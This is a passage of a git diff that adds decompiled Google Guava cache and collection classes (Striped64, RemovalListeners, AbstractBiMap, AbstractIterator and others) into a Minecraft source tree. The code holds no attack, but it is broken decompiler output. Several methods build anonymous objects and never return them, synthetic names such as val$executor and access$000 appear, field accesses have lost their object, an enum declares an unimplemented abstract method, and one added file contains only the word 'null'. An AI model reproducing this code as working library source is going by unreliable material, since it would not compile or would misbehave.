+  }
+  
+
+
+
+
+
+
+  public void reset()
+  {
+    internalReset(0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long sumThenReset()
+  {
+    long sum = base;
+    Striped64.Cell[] as = cells;
+    base = 0L;
+    if (as != null) {
+      int n = as.length;
+      for (int i = 0; i < n; i++) {
+        Striped64.Cell a = as[i];
+        if (a != null) {
+          sum += value;
+          value = 0L;
+        }
+      }
+    }
+    return sum;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return Long.toString(sum());
+  }
+  
+
+
+
+
+  public long longValue()
+  {
+    return sum();
+  }
+  
+
+
+
+  public int intValue()
+  {
+    return (int)sum();
+  }
+  
+
+
+
+  public float floatValue()
+  {
+    return (float)sum();
+  }
+  
+
+
+
+  public double doubleValue()
+  {
+    return sum();
+  }
+  
+  private void writeObject(ObjectOutputStream s) throws IOException
+  {
+    s.defaultWriteObject();
+    s.writeLong(sum());
+  }
+  
+  private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException
+  {
+    s.defaultReadObject();
+    busy = 0;
+    cells = null;
+    base = s.readLong();
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/RemovalCause.java b/src/minecraft/com/google/common/cache/RemovalCause.java
new file mode 100644
index 0000000..6db1ab1
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/RemovalCause.java
@@ -0,0 +1,15 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+@Beta
+@GwtCompatible
+public enum RemovalCause
+{
+  EXPLICIT,  REPLACED,  COLLECTED,  EXPIRED,  SIZE;
+  
+  private RemovalCause() {}
+  
+  abstract boolean wasEvicted();
+}
diff --git a/src/minecraft/com/google/common/cache/RemovalListener.java b/src/minecraft/com/google/common/cache/RemovalListener.java
new file mode 100644
index 0000000..ca51142
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/RemovalListener.java
@@ -0,0 +1,11 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+@Beta
+@GwtCompatible
+public abstract interface RemovalListener<K, V>
+{
+  public abstract void onRemoval(RemovalNotification<K, V> paramRemovalNotification);
+}
diff --git a/src/minecraft/com/google/common/cache/RemovalListeners.java b/src/minecraft/com/google/common/cache/RemovalListeners.java
new file mode 100644
index 0000000..4a83946
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/RemovalListeners.java
@@ -0,0 +1,60 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class RemovalListeners
+{
+  private RemovalListeners() {}
+  
+  public static <K, V> RemovalListener<K, V> asynchronous(final RemovalListener<K, V> listener, Executor executor)
+  {
+    Preconditions.checkNotNull(listener);
+    Preconditions.checkNotNull(executor);
+    new RemovalListener()
+    {
+      public void onRemoval(final RemovalNotification<K, V> notification) {
+        val$executor.execute(new Runnable()
+        {
+          public void run() {
+            val$listener.onRemoval(notification);
+          }
+        });
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/RemovalNotification.java b/src/minecraft/com/google/common/cache/RemovalNotification.java
new file mode 100644
index 0000000..f767942
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/RemovalNotification.java
@@ -0,0 +1,101 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class RemovalNotification<K, V>
+  implements Map.Entry<K, V>
+{
+  @Nullable
+  private final K key;
+  @Nullable
+  private final V value;
+  private final RemovalCause cause;
+  private static final long serialVersionUID = 0L;
+  
+  RemovalNotification(@Nullable K key, @Nullable V value, RemovalCause cause)
+  {
+    this.key = key;
+    this.value = value;
+    this.cause = ((RemovalCause)Preconditions.checkNotNull(cause));
+  }
+  
+
+
+  public RemovalCause getCause()
+  {
+    return cause;
+  }
+  
+
+
+
+  public boolean wasEvicted()
+  {
+    return cause.wasEvicted();
+  }
+  
+  @Nullable
+  public K getKey() { return key; }
+  
+  @Nullable
+  public V getValue() {
+    return value;
+  }
+  
+  public final V setValue(V value) {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if ((object instanceof Map.Entry)) {
+      Map.Entry<?, ?> that = (Map.Entry)object;
+      return (Objects.equal(getKey(), that.getKey())) && (Objects.equal(getValue(), that.getValue()));
+    }
+    
+    return false;
+  }
+  
+  public int hashCode() {
+    K k = getKey();
+    V v = getValue();
+    return (k == null ? 0 : k.hashCode()) ^ (v == null ? 0 : v.hashCode());
+  }
+  
+
+
+  public String toString()
+  {
+    return getKey() + "=" + getValue();
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/Striped64.java b/src/minecraft/com/google/common/cache/Striped64.java
new file mode 100644
index 0000000..2f3b125
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/Striped64.java
@@ -0,0 +1,350 @@
+package com.google.common.cache;
+
+import java.lang.reflect.Field;
+import java.security.AccessController;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import java.util.Random;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class Striped64
+  extends Number
+{
+  static final class Cell
+  {
+    volatile long p0;
+    volatile long p1;
+    volatile long p2;
+    volatile long p3;
+    volatile long p4;
+    volatile long p5;
+    volatile long p6;
+    volatile long value;
+    volatile long q0;
+    volatile long q1;
+    volatile long q2;
+    volatile long q3;
+    volatile long q4;
+    volatile long q5;
+    volatile long q6;
+    private static final Unsafe UNSAFE;
+    private static final long valueOffset;
+    
+    Cell(long x)
+    {
+      value = x;
+    }
+    
+    final boolean cas(long cmp, long val) { return UNSAFE.compareAndSwapLong(this, valueOffset, cmp, val); }
+    
+
+
+    static
+    {
+      try
+      {
+        UNSAFE = Striped64.access$000();
+        Class<?> ak = Cell.class;
+        valueOffset = UNSAFE.objectFieldOffset(ak.getDeclaredField("value"));
+      }
+      catch (Exception e) {
+        throw new Error(e);
+      }
+    }
+  }
+  
+
+
+
+
+  static final class HashCode
+  {
+    static final Random rng = new Random();
+    int code;
+    
+    HashCode() { int h = rng.nextInt();
+      code = (h == 0 ? 1 : h);
+    }
+  }
+  
+  static final class ThreadHashCode extends ThreadLocal<Striped64.HashCode> {
+    ThreadHashCode() {}
+    
+    public Striped64.HashCode initialValue() {
+      return new Striped64.HashCode();
+    }
+  }
+  
+
+
+
+
+
+  static final ThreadHashCode threadHashCode = new ThreadHashCode();
+  
+
+  static final int NCPU = Runtime.getRuntime().availableProcessors();
+  
+
+
+  volatile transient Cell[] cells;
+  
+
+
+  volatile transient long base;
+  
+
+
+  volatile transient int busy;
+  
+
+
+  private static final Unsafe UNSAFE;
+  
+
+  private static final long baseOffset;
+  
+
+  private static final long busyOffset;
+  
+
+
+  final boolean casBase(long cmp, long val)
+  {
+    return UNSAFE.compareAndSwapLong(this, baseOffset, cmp, val);
+  }
+  
+
+
+  final boolean casBusy()
+  {
+    return UNSAFE.compareAndSwapInt(this, busyOffset, 0, 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void retryUpdate(long x, HashCode hc, boolean wasUncontended)
+  {
+    int h = code;
+    boolean collide = false;
+    for (;;) { Cell[] as;
+      int n;
+      if (((as = cells) != null) && ((n = as.length) > 0)) { Cell a;
+        if ((a = as[(n - 1 & h)]) == null) {
+          if (busy == 0) {
+            Cell r = new Cell(x);
+            if ((busy == 0) && (casBusy())) {
+              boolean created = false;
+              try { Cell[] rs;
+                int m;
+                int j; if (((rs = cells) != null) && ((m = rs.length) > 0) && (rs[(j = m - 1 & h)] == null))
+                {
+
+                  rs[j] = r;
+                  created = true;
+                }
+              } finally {
+                busy = 0;
+              }
+              if (!created) continue;
+              break;
+            }
+          }
+          
+          collide = false;
+        }
+        else if (!wasUncontended) {
+          wasUncontended = true; } else { long v;
+          if (a.cas(v = value, fn(v, x)))
+            break;
+          if ((n >= NCPU) || (cells != as)) {
+            collide = false;
+          } else if (!collide) {
+            collide = true;
+          } else if ((busy == 0) && (casBusy())) {
+            try {
+              if (cells == as) {
+                Cell[] rs = new Cell[n << 1];
+                for (int i = 0; i < n; i++)
+                  rs[i] = as[i];
+                cells = rs;
+              }
+            } finally {
+              busy = 0;
+            }
+            collide = false;
+            continue;
+          } }
+        h ^= h << 13;
+        h ^= h >>> 17;
+        h ^= h << 5;
+      }
+      else if ((busy == 0) && (cells == as) && (casBusy())) {
+        boolean init = false;
+        try {
+          if (cells == as) {
+            Cell[] rs = new Cell[2];
+            rs[(h & 0x1)] = new Cell(x);
+            cells = rs;
+            init = true;
+          }
+        } finally {
+          busy = 0;
+        }
+        if (init)
+          break;
+      } else { long v;
+        if (casBase(v = base, fn(v, x))) break;
+      }
+    }
+    code = h;
+  }
+  
+
+
+  final void internalReset(long initialValue)
+  {
+    Cell[] as = cells;
+    base = initialValue;
+    if (as != null) {
+      int n = as.length;
+      for (int i = 0; i < n; i++) {
+        Cell a = as[i];
+        if (a != null) {
+          value = initialValue;
+        }
+      }
+    }
+  }
+  
+
+  static
+  {
+    try
+    {
+      UNSAFE = getUnsafe();
+      Class<?> sk = Striped64.class;
+      baseOffset = UNSAFE.objectFieldOffset(sk.getDeclaredField("base"));
+      
+      busyOffset = UNSAFE.objectFieldOffset(sk.getDeclaredField("busy"));
+    }
+    catch (Exception e) {
+      throw new Error(e);
+    }
+  }
+  
+
+
+
+
+
+  private static Unsafe getUnsafe()
+  {
+    try
+    {
+      return Unsafe.getUnsafe();
+    } catch (SecurityException tryReflectionInstead) {
+      try {
+        (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+        {
+          public Unsafe run() throws Exception {
+            Class<Unsafe> k = Unsafe.class;
+            for (Field f : k.getDeclaredFields()) {
+              f.setAccessible(true);
+              Object x = f.get(null);
+              if (k.isInstance(x))
+                return (Unsafe)k.cast(x);
+            }
+            throw new NoSuchFieldError("the Unsafe");
+          }
+        });
+      } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+      }
+    }
+  }
+  
+  Striped64() {}
+  
+  abstract long fn(long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/com/google/common/cache/Weigher.java b/src/minecraft/com/google/common/cache/Weigher.java
new file mode 100644
index 0000000..2d7aabc
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/Weigher.java
@@ -0,0 +1,11 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+@Beta
+@GwtCompatible
+public abstract interface Weigher<K, V>
+{
+  public abstract int weigh(K paramK, V paramV);
+}
diff --git a/src/minecraft/com/google/common/cache/package-info.java b/src/minecraft/com/google/common/cache/package-info.java
new file mode 100644
index 0000000..bc2e1e5
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.cache;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/collect/AbstractBiMap.java b/src/minecraft/com/google/common/collect/AbstractBiMap.java
new file mode 100644
index 0000000..d22896b
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractBiMap.java
@@ -0,0 +1,399 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+abstract class AbstractBiMap<K, V>
+  extends ForwardingMap<K, V>
+  implements BiMap<K, V>, Serializable
+{
+  private transient Map<K, V> delegate;
+  transient AbstractBiMap<V, K> inverse;
+  private transient Set<K> keySet;
+  private transient Set<V> valueSet;
+  private transient Set<Map.Entry<K, V>> entrySet;
+  @GwtIncompatible("Not needed in emulated source.")
+  private static final long serialVersionUID = 0L;
+  
+  AbstractBiMap(Map<K, V> forward, Map<V, K> backward)
+  {
+    setDelegates(forward, backward);
+  }
+  
+  private AbstractBiMap(Map<K, V> backward, AbstractBiMap<V, K> forward)
+  {
+    delegate = backward;
+    inverse = forward;
+  }
+  
+  protected Map<K, V> delegate() {
+    return delegate;
+  }
+  
+
+
+  K checkKey(@Nullable K key)
+  {
+    return key;
+  }
+  
+
+
+  V checkValue(@Nullable V value)
+  {
+    return value;
+  }
+  
+
+
+
+  void setDelegates(Map<K, V> forward, Map<V, K> backward)
+  {
+    Preconditions.checkState(delegate == null);
+    Preconditions.checkState(inverse == null);
+    Preconditions.checkArgument(forward.isEmpty());
+    Preconditions.checkArgument(backward.isEmpty());
+    Preconditions.checkArgument(forward != backward);
+    delegate = forward;
+    inverse = new Inverse(backward, this, null);
+  }
+  
+  void setInverse(AbstractBiMap<V, K> inverse) {
+    this.inverse = inverse;
+  }
+  
+
+  public boolean containsValue(@Nullable Object value)
+  {
+    return inverse.containsKey(value);
+  }
+  
+
+  public V put(@Nullable K key, @Nullable V value)
+  {
+    return putInBothMaps(key, value, false);
+  }
+  
+  public V forcePut(@Nullable K key, @Nullable V value)
+  {
+    return putInBothMaps(key, value, true);
+  }
+  
+  private V putInBothMaps(@Nullable K key, @Nullable V value, boolean force) {
+    checkKey(key);
+    checkValue(value);
+    boolean containedKey = containsKey(key);
+    if ((containedKey) && (Objects.equal(value, get(key)))) {
+      return value;
+    }
+    if (force) {
+      inverse().remove(value);
+    } else {
+      Preconditions.checkArgument(!containsValue(value), "value already present: %s", new Object[] { value });
+    }
+    V oldValue = delegate.put(key, value);
+    updateInverseMap(key, containedKey, oldValue, value);
+    return oldValue;
+  }
+  
+  private void updateInverseMap(K key, boolean containedKey, V oldValue, V newValue)
+  {
+    if (containedKey) {
+      removeFromInverseMap(oldValue);
+    }
+    inverse.delegate.put(newValue, key);
+  }
+  
+  public V remove(@Nullable Object key) {
+    return containsKey(key) ? removeFromBothMaps(key) : null;
+  }
+  
+  private V removeFromBothMaps(Object key) {
+    V oldValue = delegate.remove(key);
+    removeFromInverseMap(oldValue);
+    return oldValue;
+  }
+  
+  private void removeFromInverseMap(V oldValue) {
+    inverse.delegate.remove(oldValue);
+  }
+  
+
+  public void putAll(Map<? extends K, ? extends V> map)
+  {
+    for (Map.Entry<? extends K, ? extends V> entry : map.entrySet()) {
+      put(entry.getKey(), entry.getValue());
+    }
+  }
+  
+  public void clear() {
+    delegate.clear();
+    inverse.delegate.clear();
+  }
+  
+
+
+  public BiMap<V, K> inverse()
+  {
+    return inverse;
+  }
+  
+
+  public Set<K> keySet()
+  {
+    Set<K> result = keySet;
+    return result == null ? (this.keySet = new KeySet(null)) : result;
+  }
+  
+  private class KeySet extends ForwardingSet<K> { private KeySet() {}
+    
+    protected Set<K> delegate() { return delegate.keySet(); }
+    
+    public void clear()
+    {
+      AbstractBiMap.this.clear();
+    }
+    
+    public boolean remove(Object key) {
+      if (!contains(key)) {
+        return false;
+      }
+      AbstractBiMap.this.removeFromBothMaps(key);
+      return true;
+    }
+    
+    public boolean removeAll(Collection<?> keysToRemove) {
+      return standardRemoveAll(keysToRemove);
+    }
+    
+    public boolean retainAll(Collection<?> keysToRetain) {
+      return standardRetainAll(keysToRetain);
+    }
+    
+    public Iterator<K> iterator() {
+      return Maps.keyIterator(entrySet().iterator());
+    }
+  }
+  
+
+
+
+
+
+  public Set<V> values()
+  {
+    Set<V> result = valueSet;
+    return result == null ? (this.valueSet = new ValueSet(null)) : result; }
+  
+  private class ValueSet extends ForwardingSet<V> { private ValueSet() {}
+    
+    final Set<V> valuesDelegate = inverse.keySet();
+    
+    protected Set<V> delegate() {
+      return valuesDelegate;
+    }
+    
+    public Iterator<V> iterator() {
+      return Maps.valueIterator(entrySet().iterator());
+    }
+    
+    public Object[] toArray() {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array) {
+      return standardToArray(array);
+    }
+    
+    public String toString() {
+      return standardToString();
+    }
+  }
+  
+
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    Set<Map.Entry<K, V>> result = entrySet;
+    return result == null ? (this.entrySet = new EntrySet(null)) : result; }
+  
+  private class EntrySet extends ForwardingSet<Map.Entry<K, V>> { private EntrySet() {}
+    
+    final Set<Map.Entry<K, V>> esDelegate = delegate.entrySet();
+    
+    protected Set<Map.Entry<K, V>> delegate() {
+      return esDelegate;
+    }
+    
+    public void clear() {
+      AbstractBiMap.this.clear();
+    }
+    
+    public boolean remove(Object object) {
+      if (!esDelegate.contains(object)) {
+        return false;
+      }
+      
+
+      Map.Entry<?, ?> entry = (Map.Entry)object;
+      inverse.delegate.remove(entry.getValue());
+      
+
+
+
+
+      esDelegate.remove(entry);
+      return true;
+    }
+    
+    public Iterator<Map.Entry<K, V>> iterator() {
+      final Iterator<Map.Entry<K, V>> iterator = esDelegate.iterator();
+      new Iterator() {
+        Map.Entry<K, V> entry;
+        
+        public boolean hasNext() {
+          return iterator.hasNext();
+        }
+        
+        public Map.Entry<K, V> next() {
+          entry = ((Map.Entry)iterator.next());
+          final Map.Entry<K, V> finalEntry = entry;
+          
+          new ForwardingMapEntry() {
+            protected Map.Entry<K, V> delegate() {
+              return finalEntry;
+            }
+            
+            public V setValue(V value)
+            {
+              Preconditions.checkState(contains(this), "entry no longer in map");
+              
+              if (Objects.equal(value, getValue())) {
+                return value;
+              }
+              Preconditions.checkArgument(!containsValue(value), "value already present: %s", new Object[] { value });
+              
+              V oldValue = finalEntry.setValue(value);
+              Preconditions.checkState(Objects.equal(value, get(getKey())), "entry no longer in map");
+              
+              AbstractBiMap.this.updateInverseMap(getKey(), true, oldValue, value);
+              return oldValue;
+            }
+          };
+        }
+        
+        public void remove() {
+          CollectPreconditions.checkRemove(entry != null);
+          V value = entry.getValue();
+          iterator.remove();
+          AbstractBiMap.this.removeFromInverseMap(value);
+        }
+      };
+    }
+    
+
+    public Object[] toArray()
+    {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array) { return standardToArray(array); }
+    
+    public boolean contains(Object o) {
+      return Maps.containsEntryImpl(delegate(), o);
+    }
+    
+    public boolean containsAll(Collection<?> c) { return standardContainsAll(c); }
+    
+    public boolean removeAll(Collection<?> c) {
+      return standardRemoveAll(c);
+    }
+    
+    public boolean retainAll(Collection<?> c) { return standardRetainAll(c); }
+  }
+  
+  private static class Inverse<K, V> extends AbstractBiMap<K, V> {
+    @GwtIncompatible("Not needed in emulated source.")
+    private static final long serialVersionUID = 0L;
+    
+    private Inverse(Map<K, V> backward, AbstractBiMap<V, K> forward) { super(forward, null); }
+    
+
+
+
+
+
+
+
+
+
+
+    K checkKey(K key)
+    {
+      return inverse.checkValue(key);
+    }
+    
+    V checkValue(V value)
+    {
+      return inverse.checkKey(value);
+    }
+    
+
+    @GwtIncompatible("java.io.ObjectOuputStream")
+    private void writeObject(ObjectOutputStream stream)
+      throws IOException
+    {
+      stream.defaultWriteObject();
+      stream.writeObject(inverse());
+    }
+    
+    @GwtIncompatible("java.io.ObjectInputStream")
+    private void readObject(ObjectInputStream stream)
+      throws IOException, ClassNotFoundException
+    {
+      stream.defaultReadObject();
+      setInverse((AbstractBiMap)stream.readObject());
+    }
+    
+    @GwtIncompatible("Not needed in the emulated source.")
+    Object readResolve() {
+      return inverse().inverse();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractIndexedListIterator.java b/src/minecraft/com/google/common/collect/AbstractIndexedListIterator.java
new file mode 100644
index 0000000..61a2272
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractIndexedListIterator.java
@@ -0,0 +1,109 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractIndexedListIterator<E>
+  extends UnmodifiableListIterator<E>
+{
+  private final int size;
+  private int position;
+  
+  protected abstract E get(int paramInt);
+  
+  protected AbstractIndexedListIterator(int size)
+  {
+    this(size, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected AbstractIndexedListIterator(int size, int position)
+  {
+    Preconditions.checkPositionIndex(position, size);
+    this.size = size;
+    this.position = position;
+  }
+  
+  public final boolean hasNext()
+  {
+    return position < size;
+  }
+  
+  public final E next()
+  {
+    if (!hasNext()) {
+      throw new NoSuchElementException();
+    }
+    return get(position++);
+  }
+  
+  public final int nextIndex()
+  {
+    return position;
+  }
+  
+  public final boolean hasPrevious()
+  {
+    return position > 0;
+  }
+  
+  public final E previous()
+  {
+    if (!hasPrevious()) {
+      throw new NoSuchElementException();
+    }
+    return get(--position);
+  }
+  
+  public final int previousIndex()
+  {
+    return position - 1;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractIterator.java b/src/minecraft/com/google/common/collect/AbstractIterator.java
new file mode 100644
index 0000000..2805b7e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractIterator.java
@@ -0,0 +1,175 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class AbstractIterator<T>
+  extends UnmodifiableIterator<T>
+{
+  private State state = State.NOT_READY;
+  private T next;
+  protected AbstractIterator() {}
+  
+  protected abstract T computeNext();
+  
+  private static enum State {
+    READY, 
+    
+
+    NOT_READY, 
+    
+
+    DONE, 
+    
+
+    FAILED;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private State() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final T endOfData()
+  {
+    state = State.DONE;
+    return null;
+  }
+  
+  public final boolean hasNext()
+  {
+    Preconditions.checkState(state != State.FAILED);
+    switch (1.$SwitchMap$com$google$common$collect$AbstractIterator$State[state.ordinal()]) {
+    case 1: 
+      return false;
+    case 2: 
+      return true;
+    }
+    
+    return tryToComputeNext();
+  }
+  
+  private boolean tryToComputeNext() {
+    state = State.FAILED;
+    next = computeNext();
+    if (state != State.DONE) {
+      state = State.READY;
+      return true;
+    }
+    return false;
+  }
+  
+  public final T next()
+  {
+    if (!hasNext()) {
+      throw new NoSuchElementException();
+    }
+    state = State.NOT_READY;
+    T result = next;
+    next = null;
+    return result;
+  }
+  
+
+
+
+
+
+
+  public final T peek()
+  {
+    if (!hasNext()) {
+      throw new NoSuchElementException();
+    }
+    return next;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractListMultimap.java b/src/minecraft/com/google/common/collect/AbstractListMultimap.java
new file mode 100644
index 0000000..01b6d82
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractListMultimap.java
@@ -0,0 +1,123 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractListMultimap<K, V>
+  extends AbstractMapBasedMultimap<K, V>
+  implements ListMultimap<K, V>
+{
+  private static final long serialVersionUID = 6588350623831699109L;
+  
+  protected AbstractListMultimap(Map<K, Collection<V>> map)
+  {
+    super(map);
+  }
+  
+  abstract List<V> createCollection();
+  
+  List<V> createUnmodifiableEmptyCollection()
+  {
+    return ImmutableList.of();
+  }
+  
+
+
+
+
+
+
+
+
+  public List<V> get(@Nullable K key)
+  {
+    return (List)super.get(key);
+  }
+  
+
+
+
+
+
+
+  public List<V> removeAll(@Nullable Object key)
+  {
+    return (List)super.removeAll(key);
+  }
+  
+
+
+
+
+
+
+
+  public List<V> replaceValues(@Nullable K key, Iterable<? extends V> values)
+  {
+    return (List)super.replaceValues(key, values);
+  }
+  
+
+
+
+
+
+
+  public boolean put(@Nullable K key, @Nullable V value)
+  {
+    return super.put(key, value);
+  }
+  
+
+
+
+
+
+  public Map<K, Collection<V>> asMap()
+  {
+    return super.asMap();
+  }
+  
+
+
+
+
+
+
+  public boolean equals(@Nullable Object object)
+  {
+    return super.equals(object);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/AbstractMapBasedMultimap.java b/src/minecraft/com/google/common/collect/AbstractMapBasedMultimap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractMapBasedMultimap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/collect/AbstractMapBasedMultiset.java b/src/minecraft/com/google/common/collect/AbstractMapBasedMultiset.java
new file mode 100644
index 0000000..5e58057
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/AbstractMapBasedMultiset.java
@@ -0,0 +1,298 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import java.io.InvalidObjectException;
+import java.io.ObjectStreamException;
+import java.io.Serializable;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+abstract class AbstractMapBasedMultiset<E>
+  extends AbstractMultiset<E>
+  implements Serializable
+{
+  private transient Map<E, Count> backingMap;
+  private transient long size;
+  @GwtIncompatible("not needed in emulated source.")
+  private static final long serialVersionUID = -2250766705698539974L;
+  
+  protected AbstractMapBasedMultiset(Map<E, Count> backingMap)
+  {
+    this.backingMap = ((Map)Preconditions.checkNotNull(backingMap));
+    size = super.size();
+  }
+  
+  void setBackingMap(Map<E, Count> backingMap)
+  {
+    this.backingMap = backingMap;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Set<Multiset.Entry<E>> entrySet()
+  {
+    return super.entrySet();
+  }
+  
+  Iterator<Multiset.Entry<E>> entryIterator()
+  {
+    final Iterator<Map.Entry<E, Count>> backingEntries = backingMap.entrySet().iterator();
+    
+    new Iterator()
+    {
+      Map.Entry<E, Count> toRemove;
+      
+      public boolean hasNext() {
+        return backingEntries.hasNext();
+      }
+      
+      public Multiset.Entry<E> next()
+      {
+        final Map.Entry<E, Count> mapEntry = (Map.Entry)backingEntries.next();
+        toRemove = mapEntry;
+        new Multisets.AbstractEntry()
+        {
+          public E getElement() {
+            return mapEntry.getKey();
+          }
+          
+          public int getCount() {
+            Count count = (Count)mapEntry.getValue();
+            if ((count == null) || (count.get() == 0)) {
+              Count frequency = (Count)backingMap.get(getElement());
+              if (frequency != null) {
+                return frequency.get();
+              }
+            }
+            return count == null ? 0 : count.get();
+          }
+        };
+      }
+      
+      public void remove()
+      {
+        CollectPreconditions.checkRemove(toRemove != null);
+        AbstractMapBasedMultiset.access$122(AbstractMapBasedMultiset.this, ((Count)toRemove.getValue()).getAndSet(0));
+        backingEntries.remove();
+        toRemove = null;
+      }
+    };
+  }
+  
+  public void clear()
+  {
+    for (Count frequency : backingMap.values()) {
+      frequency.set(0);
+    }
+    backingMap.clear();
+    size = 0L;
+  }
+  
+  int distinctElements()
+  {
+    return backingMap.size();
+  }
+  
+
+  public int size()
+  {
+    return Ints.saturatedCast(size);
+  }
+  
+  public Iterator<E> iterator() {
+    return new MapBasedMultisetIterator();
+  }
+  
+
+  private class MapBasedMultisetIterator
+    implements Iterator<E>
+  {
+    final Iterator<Map.Entry<E, Count>> entryIterator;
+    
+    Map.Entry<E, Count> currentEntry;
+    int occurrencesLeft;
+    boolean canRemove;
+    
+    MapBasedMultisetIterator()
+    {
+      entryIterator = backingMap.entrySet().iterator();
+    }
+    
+    public boolean hasNext()
+    {
+      return (occurrencesLeft > 0) || (entryIterator.hasNext());
+    }
+    
+    public E next()
+    {
+      if (occurrencesLeft == 0) {
+        currentEntry = ((Map.Entry)entryIterator.next());
+        occurrencesLeft = ((Count)currentEntry.getValue()).get();
+      }
+      occurrencesLeft -= 1;
+      canRemove = true;
+      return currentEntry.getKey();
+    }
+    
+    public void remove()
+    {
+      CollectPreconditions.checkRemove(canRemove);
+      int frequency = ((Count)currentEntry.getValue()).get();
+      if (frequency <= 0) {
+        throw new ConcurrentModificationException();
+      }
+      if (((Count)currentEntry.getValue()).addAndGet(-1) == 0) {
+        entryIterator.remove();
+      }
